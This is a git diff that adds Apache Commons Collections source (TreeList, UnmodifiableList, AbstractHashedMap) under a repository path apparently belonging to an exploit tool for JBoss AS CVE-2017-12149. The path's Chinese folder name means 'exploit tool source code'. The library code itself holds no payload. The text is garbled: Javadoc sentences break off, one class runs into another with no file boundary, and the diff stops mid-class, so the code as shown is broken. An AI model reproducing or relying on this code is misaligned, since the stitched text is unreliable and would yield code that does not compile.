+ right.toArray(array, index + right.relativePosition);
+ }
+ }
+
+ /**
+ * Gets the next node in the list after this one.
+ *
+ * @return the next node
+ */
+ AVLNode next() {
+ if (rightIsNext || right == null) {
+ return right;
+ }
+ return right.min();
+ }
+
+ /**
+ * Gets the node in the list before this one.
+ *
+ * @return the previous node
+ */
+ AVLNode previous() {
+ if (leftIsPrevious || left == null) {
+ return left;
+ }
+ return left.max();
+ }
+
+ /**
+ * Inserts a node at the position index.
+ *
+ * @param index is the index of the position relative to the position of
+ * the parent node.
+ * @param obj is the object to be stored in the position.
+ */
+ AVLNode insert(int index, Object obj) {
+ int indexRelativeToMe = index - relativePosition;
+
+ if (indexRelativeToMe <= 0) {
+ return insertOnLeft(indexRelativeToMe, obj);
+ } else {
+ return insertOnRight(indexRelativeToMe, obj);
+ }
+ }
+
+ private AVLNode insertOnLeft(int indexRelativeToMe, Object obj) {
+ AVLNode ret = this;
+
+ if (getLeftSubTree() == null) {
+ setLeft(new AVLNode(-1, obj, this, left), null);
+ } else {
+ setLeft(left.insert(indexRelativeToMe, obj), null);
+ }
+
+ if (relativePosition >= 0) {
+ relativePosition++;
+ }
+ ret = balance();
+ recalcHeight();
+ return ret;
+ }
+
+ private AVLNode insertOnRight(int indexRelativeToMe, Object obj) {
+ AVLNode ret = this;
+
+ if (getRightSubTree() == null) {
+ setRight(new AVLNode(+1, obj, right, this), null);
+ } else {
+ setRight(right.insert(indexRelativeToMe, obj), null);
+ }
+ if (relativePosition < 0) {
+ relativePosition--;
+ }
+ ret = balance();
+ recalcHeight();
+ return ret;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the left node, returning null if its a faedelung.
+ */
+ private AVLNode getLeftSubTree() {
+ return (leftIsPrevious ? null : left);
+ }
+
+ /**
+ * Gets the right node, returning null if its a faedelung.
+ */
+ private AVLNode getRightSubTree() {
+ return (rightIsNext ? null : right);
+ }
+
+ /**
+ * Gets the rightmost child of this node.
+ *
+ * @return the rightmost child (greatest index)
+ */
+ private AVLNode max() {
+ return (getRightSubTree() == null) ? this : right.max();
+ }
+
+ /**
+ * Gets the leftmost child of this node.
+ *
+ * @return the leftmost child (smallest index)
+ */
+ private AVLNode min() {
+ return (getLeftSubTree() == null) ? this : left.min();
+ }
+
+ /**
+ * Removes the node at a given position.
+ *
+ * @param index is the index of the element to be removed relative to the position of
+ * the parent node of the current node.
+ */
+ AVLNode remove(int index) {
+ int indexRelativeToMe = index - relativePosition;
+
+ if (indexRelativeToMe == 0) {
+ return removeSelf();
+ }
+ if (indexRelativeToMe > 0) {
+ setRight(right.remove(indexRelativeToMe), right.right);
+ if (relativePosition < 0) {
+ relativePosition++;
+ }
+ } else {
+ setLeft(left.remove(indexRelativeToMe), left.left);
+ if (relativePosition > 0) {
+ relativePosition--;
+ }
+ }
+ recalcHeight();
+ return balance();
+ }
+
+ private AVLNode removeMax() {
+ if (getRightSubTree() == null) {
+ return removeSelf();
+ }
+ setRight(right.removeMax(), right.right);
+ if (relativePosition < 0) {
+ relativePosition++;
+ }
+ recalcHeight();
+ return balance();
+ }
+
+ private AVLNode removeMin() {
+ if (getLeftSubTree() == null) {
+ return removeSelf();
+ }
+ setLeft(left.removeMin(), left.left);
+ if (relativePosition > 0) {
+ relativePosition--;
+ }
+ recalcHeight();
+ return balance();
+ }
+
+ private AVLNode removeSelf() {
+ if (getRightSubTree() == null && getLeftSubTree() == null)
+ return null;
+ if (getRightSubTree() == null) {
+ if (relativePosition > 0) {
+ left.relativePosition += relativePosition + (relativePosition > 0 ? 0 : 1);
+ }
+ left.max().setRight(null, right);
+ return left;
+ }
+ if (getLeftSubTree() == null) {
+ right.relativePosition += relativePosition - (relativePosition < 0 ? 0 : 1);
+ right.min().setLeft(null, left);
+ return right;
+ }
+
+ if (heightRightMinusLeft() > 0) {
+ AVLNode rightMin = right.min();
+ value = rightMin.value;
+ if (leftIsPrevious) {
+ left = rightMin.left;
+ }
+ right = right.removeMin();
+ if (relativePosition < 0) {
+ relativePosition++;
+ }
+ } else {
+ AVLNode leftMax = left.max();
+ value = leftMax.value;
+ if (rightIsNext) {
+ right = leftMax.right;
+ }
+ left = left.removeMax();
+ if (relativePosition > 0) {
+ relativePosition--;
+ }
+ }
+ recalcHeight();
+ return this;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Balances according to the AVL algorithm.
+ */
+ private AVLNode balance() {
+ switch (heightRightMinusLeft()) {
+ case 1 :
+ case 0 :
+ case -1 :
+ return this;
+ case -2 :
+ if (left.heightRightMinusLeft() > 0) {
+ setLeft(left.rotateLeft(), null);
+ }
+ return rotateRight();
+ case 2 :
+ if (right.heightRightMinusLeft() < 0) {
+ setRight(right.rotateRight(), null);
+ }
+ return rotateLeft();
+ default :
+ throw new RuntimeException("tree inconsistent!");
+ }
+ }
+
+ /**
+ * Gets the relative position.
+ */
+ private int getOffset(AVLNode node) {
+ if (node == null) {
+ return 0;
+ }
+ return node.relativePosition;
+ }
+
+ /**
+ * Sets the relative position.
+ */
+ private int setOffset(AVLNode node, int newOffest) {
+ if (node == null) {
+ return 0;
+ }
+ int oldOffset = getOffset(node);
+ node.relativePosition = newOffest;
+ return oldOffset;
+ }
+
+ /**
+ * Sets the height by calculation.
+ */
+ private void recalcHeight() {
+ height = Math.max(
+ getLeftSubTree() == null ? -1 : getLeftSubTree().height,
+ getRightSubTree() == null ? -1 : getRightSubTree().height) + 1;
+ }
+
+ /**
+ * Returns the height of the node or -1 if the node is null.
+ */
+ private int getHeight(AVLNode node) {
+ return (node == null ? -1 : node.height);
+ }
+
+ /**
+ * Returns the height difference right - left
+ */
+ private int heightRightMinusLeft() {
+ return getHeight(getRightSubTree()) - getHeight(getLeftSubTree());
+ }
+
+ private AVLNode rotateLeft() {
+ AVLNode newTop = right; // can't be faedelung!
+ AVLNode movedNode = getRightSubTree().getLeftSubTree();
+
+ int newTopPosition = relativePosition + getOffset(newTop);
+ int myNewPosition = -newTop.relativePosition;
+ int movedPosition = getOffset(newTop) + getOffset(movedNode);
+
+ setRight(movedNode, newTop);
+ newTop.setLeft(this, null);
+
+ setOffset(newTop, newTopPosition);
+ setOffset(this, myNewPosition);
+ setOffset(movedNode, movedPosition);
+ return newTop;
+ }
+
+ private AVLNode rotateRight() {
+ AVLNode newTop = left; // can't be faedelung
+ AVLNode movedNode = getLeftSubTree().getRightSubTree();
+
+ int newTopPosition = relativePosition + getOffset(newTop);
+ int myNewPosition = -newTop.relativePosition;
+ int movedPosition = getOffset(newTop) + getOffset(movedNode);
+
+ setLeft(movedNode, newTop);
+ newTop.setRight(this, null);
+
+ setOffset(newTop, newTopPosition);
+ setOffset(this, myNewPosition);
+ setOffset(movedNode, movedPosition);
+ return newTop;
+ }
+
+ private void setLeft(AVLNode node, AVLNode previous) {
+ leftIsPrevious = (node == null);
+ left = (leftIsPrevious ? previous : node);
+ recalcHeight();
+ }
+
+ private void setRight(AVLNode node, AVLNode next) {
+ rightIsNext = (node == null);
+ right = (rightIsNext ? next : node);
+ recalcHeight();
+ }
+
+// private void checkFaedelung() {
+// AVLNode maxNode = left.max();
+// if (!maxNode.rightIsFaedelung || maxNode.right != this) {
+// throw new RuntimeException(maxNode + " should right-faedel to " + this);
+// }
+// AVLNode minNode = right.min();
+// if (!minNode.leftIsFaedelung || minNode.left != this) {
+// throw new RuntimeException(maxNode + " should left-faedel to " + this);
+// }
+// }
+//
+// private int checkTreeDepth() {
+// int hright = (getRightSubTree() == null ? -1 : getRightSubTree().checkTreeDepth());
+// // System.out.print("checkTreeDepth");
+// // System.out.print(this);
+// // System.out.print(" left: ");
+// // System.out.print(_left);
+// // System.out.print(" right: ");
+// // System.out.println(_right);
+//
+// int hleft = (left == null ? -1 : left.checkTreeDepth());
+// if (height != Math.max(hright, hleft) + 1) {
+// throw new RuntimeException(
+// "height should be max" + hleft + "," + hright + " but is " + height);
+// }
+// return height;
+// }
+//
+// private int checkLeftSubNode() {
+// if (getLeftSubTree() == null) {
+// return 0;
+// }
+// int count = 1 + left.checkRightSubNode();
+// if (left.relativePosition != -count) {
+// throw new RuntimeException();
+// }
+// return count + left.checkLeftSubNode();
+// }
+//
+// private int checkRightSubNode() {
+// AVLNode right = getRightSubTree();
+// if (right == null) {
+// return 0;
+// }
+// int count = 1;
+// count += right.checkLeftSubNode();
+// if (right.relativePosition != count) {
+// throw new RuntimeException();
+// }
+// return count + right.checkRightSubNode();
+// }
+
+ /**
+ * Used for debugging.
+ */
+ public String toString() {
+ return "AVLNode(" + relativePosition + "," + (left != null) + "," + value +
+ "," + (getRightSubTree() != null) + ", faedelung " + rightIsNext + " )";
+ }
+ }
+
+ /**
+ * A list iterator over the linked list.
+ */
+ static class TreeListIterator implements ListIterator, OrderedIterator {
+ /** The parent list */
+ protected final TreeList parent;
+ /**
+ * The node that will be returned by {@link #next()}. If this is equal
+ * to {@link AbstractLinkedList#header} then there are no more values to return.
+ */
+ protected AVLNode next;
+ /**
+ * The index of {@link #next}.
+ */
+ protected int nextIndex;
+ /**
+ * The last node that was returned by {@link #next()} or {@link
+ * #previous()}. Set to
+ * The validation of additions is performed via an instanceof test against
+ * a specified
+ * If there are any elements already in the list being decorated, they
+ * are validated.
+ *
+ * @param list the list to decorate, must not be null
+ * @param type the type to allow into the collection, must not be null
+ * @throws IllegalArgumentException if list or type is null
+ * @throws IllegalArgumentException if the list contains invalid elements
+ */
+ public static List decorate(List list, Class type) {
+ return new PredicatedList(list, InstanceofPredicate.getInstance(type));
+ }
+
+ /**
+ * Restrictive constructor.
+ */
+ protected TypedList() {
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/UnmodifiableList.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/UnmodifiableList.java"
new file mode 100644
index 0000000..18d2402
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/UnmodifiableList.java"
@@ -0,0 +1,127 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.list;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import java.util.ListIterator;
+
+import org.apache.commons.collections.Unmodifiable;
+import org.apache.commons.collections.iterators.UnmodifiableIterator;
+import org.apache.commons.collections.iterators.UnmodifiableListIterator;
+
+/**
+ * Decorates another
+ * This class is Serializable from Commons Collections 3.1.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.7 $ $Date: 2004/06/03 22:02:13 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableList
+ extends AbstractSerializableListDecorator
+ implements Unmodifiable {
+
+ /** Serialization version */
+ private static final long serialVersionUID = 6595182819922443652L;
+
+ /**
+ * Factory method to create an unmodifiable list.
+ *
+ * @param list the list to decorate, must not be null
+ * @throws IllegalArgumentException if list is null
+ */
+ public static List decorate(List list) {
+ if (list instanceof Unmodifiable) {
+ return list;
+ }
+ return new UnmodifiableList(list);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param list the list to decorate, must not be null
+ * @throws IllegalArgumentException if list is null
+ */
+ private UnmodifiableList(List list) {
+ super(list);
+ }
+
+ //-----------------------------------------------------------------------
+ public Iterator iterator() {
+ return UnmodifiableIterator.decorate(getCollection().iterator());
+ }
+
+ public boolean add(Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean addAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public void clear() {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean remove(Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean removeAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean retainAll(Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ //-----------------------------------------------------------------------
+ public ListIterator listIterator() {
+ return UnmodifiableListIterator.decorate(getList().listIterator());
+ }
+
+ public ListIterator listIterator(int index) {
+ return UnmodifiableListIterator.decorate(getList().listIterator(index));
+ }
+
+ public void add(int index, Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public boolean addAll(int index, Collection coll) {
+ throw new UnsupportedOperationException();
+ }
+
+ public Object remove(int index) {
+ throw new UnsupportedOperationException();
+ }
+
+ public Object set(int index, Object object) {
+ throw new UnsupportedOperationException();
+ }
+
+ public List subList(int fromIndex, int toIndex) {
+ List sub = getList().subList(fromIndex, toIndex);
+ return new UnmodifiableList(sub);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/package.html" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/package.html"
new file mode 100644
index 0000000..c006a4c
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/list/package.html"
@@ -0,0 +1,41 @@
+
+
+
+This package contains implementations of the
+{@link java.util.List List} interface.
+
+The following implementations are provided in the package:
+
+The following decorators are provided in the package:
+
+ * This class implements all the features necessary for a subclass hash-based map.
+ * Key-value entries are stored in instances of the
+ * Overridable methods are provided to change the default hashing behaviour, and
+ * to change how entries are added to and removed from the map. Hopefully, all you
+ * need for unusual subclasses is here.
+ *
+ * NOTE: From Commons Collections 3.1 this class extends AbstractMap.
+ * This is to provide backwards compatibility for ReferenceMap between v3.0 and v3.1.
+ * This extends clause will be removed in v4.0.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.20 $ $Date: 2004/06/22 21:42:12 $
+ *
+ * @author java util HashMap
+ * @author Stephen Colebourne
+ */
+public class AbstractHashedMap extends AbstractMap implements IterableMap {
+
+ protected static final String NO_NEXT_ENTRY = "No next() entry in the iteration";
+ protected static final String NO_PREVIOUS_ENTRY = "No previous() entry in the iteration";
+ protected static final String REMOVE_INVALID = "remove() can only be called once after next()";
+ protected static final String GETKEY_INVALID = "getKey() can only be called after next() and before remove()";
+ protected static final String GETVALUE_INVALID = "getValue() can only be called after next() and before remove()";
+ protected static final String SETVALUE_INVALID = "setValue() can only be called after next() and before remove()";
+
+ /** The default capacity to use */
+ protected static final int DEFAULT_CAPACITY = 16;
+ /** The default threshold to use */
+ protected static final int DEFAULT_THRESHOLD = 12;
+ /** The default load factor to use */
+ protected static final float DEFAULT_LOAD_FACTOR = 0.75f;
+ /** The maximum capacity allowed */
+ protected static final int MAXIMUM_CAPACITY = 1 << 30;
+ /** An object for masking null */
+ protected static final Object NULL = new Object();
+
+ /** Load factor, normally 0.75 */
+ protected transient float loadFactor;
+ /** The size of the map */
+ protected transient int size;
+ /** Map entries */
+ protected transient HashEntry[] data;
+ /** Size at which to rehash */
+ protected transient int threshold;
+ /** Modification count for iterators */
+ protected transient int modCount;
+ /** Entry set */
+ protected transient EntrySet entrySet;
+ /** Key set */
+ protected transient KeySet keySet;
+ /** Values */
+ protected transient Values values;
+
+ /**
+ * Constructor only used in deserialization, do not use otherwise.
+ */
+ protected AbstractHashedMap() {
+ super();
+ }
+
+ /**
+ * Constructor which performs no validation on the passed in parameters.
+ *
+ * @param initialCapacity the initial capacity, must be a power of two
+ * @param loadFactor the load factor, must be > 0.0f and generally < 1.0f
+ * @param threshold the threshold, must be sensible
+ */
+ protected AbstractHashedMap(int initialCapacity, float loadFactor, int threshold) {
+ super();
+ this.loadFactor = loadFactor;
+ this.data = new HashEntry[initialCapacity];
+ this.threshold = threshold;
+ init();
+ }
+
+ /**
+ * Constructs a new, empty map with the specified initial capacity and
+ * default load factor.
+ *
+ * @param initialCapacity the initial capacity
+ * @throws IllegalArgumentException if the initial capacity is less than one
+ */
+ protected AbstractHashedMap(int initialCapacity) {
+ this(initialCapacity, DEFAULT_LOAD_FACTOR);
+ }
+
+ /**
+ * Constructs a new, empty map with the specified initial capacity and
+ * load factor.
+ *
+ * @param initialCapacity the initial capacity
+ * @param loadFactor the load factor
+ * @throws IllegalArgumentException if the initial capacity is less than one
+ * @throws IllegalArgumentException if the load factor is less than or equal to zero
+ */
+ protected AbstractHashedMap(int initialCapacity, float loadFactor) {
+ super();
+ if (initialCapacity < 1) {
+ throw new IllegalArgumentException("Initial capacity must be greater than 0");
+ }
+ if (loadFactor <= 0.0f || Float.isNaN(loadFactor)) {
+ throw new IllegalArgumentException("Load factor must be greater than 0");
+ }
+ this.loadFactor = loadFactor;
+ this.threshold = calculateThreshold(initialCapacity, loadFactor);
+ initialCapacity = calculateNewCapacity(initialCapacity);
+ this.data = new HashEntry[initialCapacity];
+ init();
+ }
+
+ /**
+ * Constructor copying elements from another map.
+ *
+ * @param map the map to copy
+ * @throws NullPointerException if the map is null
+ */
+ protected AbstractHashedMap(Map map) {
+ this(Math.max(2 * map.size(), DEFAULT_CAPACITY), DEFAULT_LOAD_FACTOR);
+ putAll(map);
+ }
+
+ /**
+ * Initialise subclasses during construction, cloning or deserialization.
+ */
+ protected void init() {
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the value mapped to the key specified.
+ *
+ * @param key the key
+ * @return the mapped value, null if no match
+ */
+ public Object get(Object key) {
+ key = convertKey(key);
+ int hashCode = hash(key);
+ HashEntry entry = data[hashIndex(hashCode, data.length)]; // no local for hash index
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(key, entry.key)) {
+ return entry.getValue();
+ }
+ entry = entry.next;
+ }
+ return null;
+ }
+
+ /**
+ * Gets the size of the map.
+ *
+ * @return the size
+ */
+ public int size() {
+ return size;
+ }
+
+ /**
+ * Checks whether the map is currently empty.
+ *
+ * @return true if the map is currently size zero
+ */
+ public boolean isEmpty() {
+ return (size == 0);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Checks whether the map contains the specified key.
+ *
+ * @param key the key to search for
+ * @return true if the map contains the key
+ */
+ public boolean containsKey(Object key) {
+ key = convertKey(key);
+ int hashCode = hash(key);
+ HashEntry entry = data[hashIndex(hashCode, data.length)]; // no local for hash index
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(key, entry.key)) {
+ return true;
+ }
+ entry = entry.next;
+ }
+ return false;
+ }
+
+ /**
+ * Checks whether the map contains the specified value.
+ *
+ * @param value the value to search for
+ * @return true if the map contains the value
+ */
+ public boolean containsValue(Object value) {
+ if (value == null) {
+ for (int i = 0, isize = data.length; i < isize; i++) {
+ HashEntry entry = data[i];
+ while (entry != null) {
+ if (entry.getValue() == null) {
+ return true;
+ }
+ entry = entry.next;
+ }
+ }
+ } else {
+ for (int i = 0, isize = data.length; i < isize; i++) {
+ HashEntry entry = data[i];
+ while (entry != null) {
+ if (isEqualValue(value, entry.getValue())) {
+ return true;
+ }
+ entry = entry.next;
+ }
+ }
+ }
+ return false;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Puts a key-value mapping into this map.
+ *
+ * @param key the key to add
+ * @param value the value to add
+ * @return the value previously mapped to this key, null if none
+ */
+ public Object put(Object key, Object value) {
+ key = convertKey(key);
+ int hashCode = hash(key);
+ int index = hashIndex(hashCode, data.length);
+ HashEntry entry = data[index];
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(key, entry.key)) {
+ Object oldValue = entry.getValue();
+ updateEntry(entry, value);
+ return oldValue;
+ }
+ entry = entry.next;
+ }
+
+ addMapping(index, hashCode, key, value);
+ return null;
+ }
+
+ /**
+ * Puts all the values from the specified map into this map.
+ *
+ * This implementation iterates around the specified map and
+ * uses {@link #put(Object, Object)}.
+ *
+ * @param map the map to add
+ * @throws NullPointerException if the map is null
+ */
+ public void putAll(Map map) {
+ int mapSize = map.size();
+ if (mapSize == 0) {
+ return;
+ }
+ int newSize = (int) ((size + mapSize) / loadFactor + 1);
+ ensureCapacity(calculateNewCapacity(newSize));
+ for (Iterator it = map.entrySet().iterator(); it.hasNext();) {
+ Map.Entry entry = (Map.Entry) it.next();
+ put(entry.getKey(), entry.getValue());
+ }
+ }
+
+ /**
+ * Removes the specified mapping from this map.
+ *
+ * @param key the mapping to remove
+ * @return the value mapped to the removed key, null if key not in map
+ */
+ public Object remove(Object key) {
+ key = convertKey(key);
+ int hashCode = hash(key);
+ int index = hashIndex(hashCode, data.length);
+ HashEntry entry = data[index];
+ HashEntry previous = null;
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(key, entry.key)) {
+ Object oldValue = entry.getValue();
+ removeMapping(entry, index, previous);
+ return oldValue;
+ }
+ previous = entry;
+ entry = entry.next;
+ }
+ return null;
+ }
+
+ /**
+ * Clears the map, resetting the size to zero and nullifying references
+ * to avoid garbage collection issues.
+ */
+ public void clear() {
+ modCount++;
+ HashEntry[] data = this.data;
+ for (int i = data.length - 1; i >= 0; i--) {
+ data[i] = null;
+ }
+ size = 0;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Converts input keys to another object for storage in the map.
+ * This implementation masks nulls.
+ * Subclasses can override this to perform alternate key conversions.
+ *
+ * The reverse conversion can be changed, if required, by overriding the
+ * getKey() method in the hash entry.
+ *
+ * @param key the key convert
+ * @return the converted key
+ */
+ protected Object convertKey(Object key) {
+ return (key == null ? NULL : key);
+ }
+
+ /**
+ * Gets the hash code for the key specified.
+ * This implementation uses the additional hashing routine from JDK1.4.
+ * Subclasses can override this to return alternate hash codes.
+ *
+ * @param key the key to get a hash code for
+ * @return the hash code
+ */
+ protected int hash(Object key) {
+ // same as JDK 1.4
+ int h = key.hashCode();
+ h += ~(h << 9);
+ h ^= (h >>> 14);
+ h += (h << 4);
+ h ^= (h >>> 10);
+ return h;
+ }
+
+ /**
+ * Compares two keys, in internal converted form, to see if they are equal.
+ * This implementation uses the equals method and assumes neither key is null.
+ * Subclasses can override this to match differently.
+ *
+ * @param key1 the first key to compare passed in from outside
+ * @param key2 the second key extracted from the entry via
+ * This method exists for subclasses that may need to perform a multi-step
+ * process accessing the entry. The public methods in this class don't use this
+ * method to gain a small performance boost.
+ *
+ * @param key the key
+ * @return the entry, null if no match
+ */
+ protected HashEntry getEntry(Object key) {
+ key = convertKey(key);
+ int hashCode = hash(key);
+ HashEntry entry = data[hashIndex(hashCode, data.length)]; // no local for hash index
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(key, entry.key)) {
+ return entry;
+ }
+ entry = entry.next;
+ }
+ return null;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Updates an existing key-value mapping to change the value.
+ *
+ * This implementation calls
+ * This implementation sets all the data fields on the entry.
+ * Subclasses could populate additional entry fields.
+ *
+ * @param entry the entry to update, not null
+ * @param hashIndex the index in the data array
+ * @param hashCode the hash code of the key to add
+ * @param key the key to add
+ * @param value the value to add
+ */
+ protected void reuseEntry(HashEntry entry, int hashIndex, int hashCode, Object key, Object value) {
+ entry.next = data[hashIndex];
+ entry.hashCode = hashCode;
+ entry.key = key;
+ entry.value = value;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Adds a new key-value mapping into this map.
+ *
+ * This implementation calls
+ * This implementation creates a new HashEntry instance.
+ * Subclasses can override this to return a different storage class,
+ * or implement caching.
+ *
+ * @param next the next entry in sequence
+ * @param hashCode the hash code to use
+ * @param key the key to store
+ * @param value the value to store
+ * @return the newly created entry
+ */
+ protected HashEntry createEntry(HashEntry next, int hashCode, Object key, Object value) {
+ return new HashEntry(next, hashCode, key, value);
+ }
+
+ /**
+ * Adds an entry into this map.
+ *
+ * This implementation adds the entry to the data storage table.
+ * Subclasses could override to handle changes to the map.
+ *
+ * @param entry the entry to add
+ * @param hashIndex the index into the data array to store at
+ */
+ protected void addEntry(HashEntry entry, int hashIndex) {
+ data[hashIndex] = entry;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Removes a mapping from the map.
+ *
+ * This implementation calls
+ * This implementation removes the entry from the data storage table.
+ * The size is not updated.
+ * Subclasses could override to handle changes to the map.
+ *
+ * @param entry the entry to remove
+ * @param hashIndex the index into the data structure
+ * @param previous the previous entry in the chain
+ */
+ protected void removeEntry(HashEntry entry, int hashIndex, HashEntry previous) {
+ if (previous == null) {
+ data[hashIndex] = entry.next;
+ } else {
+ previous.next = entry.next;
+ }
+ }
+
+ /**
+ * Kills an entry ready for the garbage collector.
+ *
+ * This implementation prepares the HashEntry for garbage collection.
+ * Subclasses can override this to implement caching (override clear as well).
+ *
+ * @param entry the entry to destroy
+ */
+ protected void destroyEntry(HashEntry entry) {
+ entry.next = null;
+ entry.key = null;
+ entry.value = null;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Checks the capacity of the map and enlarges it if necessary.
+ *
+ * This implementation uses the threshold to check if the map needs enlarging
+ */
+ protected void checkCapacity() {
+ if (size >= threshold) {
+ int newCapacity = data.length * 2;
+ if (newCapacity <= MAXIMUM_CAPACITY) {
+ ensureCapacity(newCapacity);
+ }
+ }
+ }
+
+ /**
+ * Changes the size of the data structure to the capacity proposed.
+ *
+ * @param newCapacity the new capacity of the array (a power of two, less or equal to max)
+ */
+ protected void ensureCapacity(int newCapacity) {
+ int oldCapacity = data.length;
+ if (newCapacity <= oldCapacity) {
+ return;
+ }
+ if (size == 0) {
+ threshold = calculateThreshold(newCapacity, loadFactor);
+ data = new HashEntry[newCapacity];
+ } else {
+ HashEntry oldEntries[] = data;
+ HashEntry newEntries[] = new HashEntry[newCapacity];
+
+ modCount++;
+ for (int i = oldCapacity - 1; i >= 0; i--) {
+ HashEntry entry = oldEntries[i];
+ if (entry != null) {
+ oldEntries[i] = null; // gc
+ do {
+ HashEntry next = entry.next;
+ int index = hashIndex(entry.hashCode, newCapacity);
+ entry.next = newEntries[index];
+ newEntries[index] = entry;
+ entry = next;
+ } while (entry != null);
+ }
+ }
+ threshold = calculateThreshold(newCapacity, loadFactor);
+ data = newEntries;
+ }
+ }
+
+ /**
+ * Calculates the new capacity of the map.
+ * This implementation normalizes the capacity to a power of two.
+ *
+ * @param proposedCapacity the proposed capacity
+ * @return the normalized new capacity
+ */
+ protected int calculateNewCapacity(int proposedCapacity) {
+ int newCapacity = 1;
+ if (proposedCapacity > MAXIMUM_CAPACITY) {
+ newCapacity = MAXIMUM_CAPACITY;
+ } else {
+ while (newCapacity < proposedCapacity) {
+ newCapacity <<= 1; // multiply by two
+ }
+ if (newCapacity > MAXIMUM_CAPACITY) {
+ newCapacity = MAXIMUM_CAPACITY;
+ }
+ }
+ return newCapacity;
+ }
+
+ /**
+ * Calculates the new threshold of the map, where it will be resized.
+ * This implementation uses the load factor.
+ *
+ * @param newCapacity the new capacity
+ * @param factor the load factor
+ * @return the new resize threshold
+ */
+ protected int calculateThreshold(int newCapacity, float factor) {
+ return (int) (newCapacity * factor);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the
+ * A MapIterator returns the keys in the map. It also provides convenient
+ * methods to get the key and value, and set the value.
+ * It avoids the need to create an entrySet/keySet/values object.
+ * It also avoids creating the Map.Entry object.
+ *
+ * @return the map iterator
+ */
+ public MapIterator mapIterator() {
+ if (size == 0) {
+ return EmptyMapIterator.INSTANCE;
+ }
+ return new HashMapIterator(this);
+ }
+
+ /**
+ * MapIterator implementation.
+ */
+ protected static class HashMapIterator extends HashIterator implements MapIterator {
+
+ protected HashMapIterator(AbstractHashedMap parent) {
+ super(parent);
+ }
+
+ public Object next() {
+ return super.nextEntry().getKey();
+ }
+
+ public Object getKey() {
+ HashEntry current = currentEntry();
+ if (current == null) {
+ throw new IllegalStateException(AbstractHashedMap.GETKEY_INVALID);
+ }
+ return current.getKey();
+ }
+
+ public Object getValue() {
+ HashEntry current = currentEntry();
+ if (current == null) {
+ throw new IllegalStateException(AbstractHashedMap.GETVALUE_INVALID);
+ }
+ return current.getValue();
+ }
+
+ public Object setValue(Object value) {
+ HashEntry current = currentEntry();
+ if (current == null) {
+ throw new IllegalStateException(AbstractHashedMap.SETVALUE_INVALID);
+ }
+ return current.setValue(value);
+ }
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the entrySet view of the map.
+ * Changes made to the view affect this map.
+ * To simply iterate through the entries, use {@link #mapIterator()}.
+ *
+ * @return the entrySet view
+ */
+ public Set entrySet() {
+ if (entrySet == null) {
+ entrySet = new EntrySet(this);
+ }
+ return entrySet;
+ }
+
+ /**
+ * Creates an entry set iterator.
+ * Subclasses can override this to return iterators with different properties.
+ *
+ * @return the entrySet iterator
+ */
+ protected Iterator createEntrySetIterator() {
+ if (size() == 0) {
+ return EmptyIterator.INSTANCE;
+ }
+ return new EntrySetIterator(this);
+ }
+
+ /**
+ * EntrySet implementation.
+ */
+ protected static class EntrySet extends AbstractSet {
+ /** The parent map */
+ protected final AbstractHashedMap parent;
+
+ protected EntrySet(AbstractHashedMap parent) {
+ super();
+ this.parent = parent;
+ }
+
+ public int size() {
+ return parent.size();
+ }
+
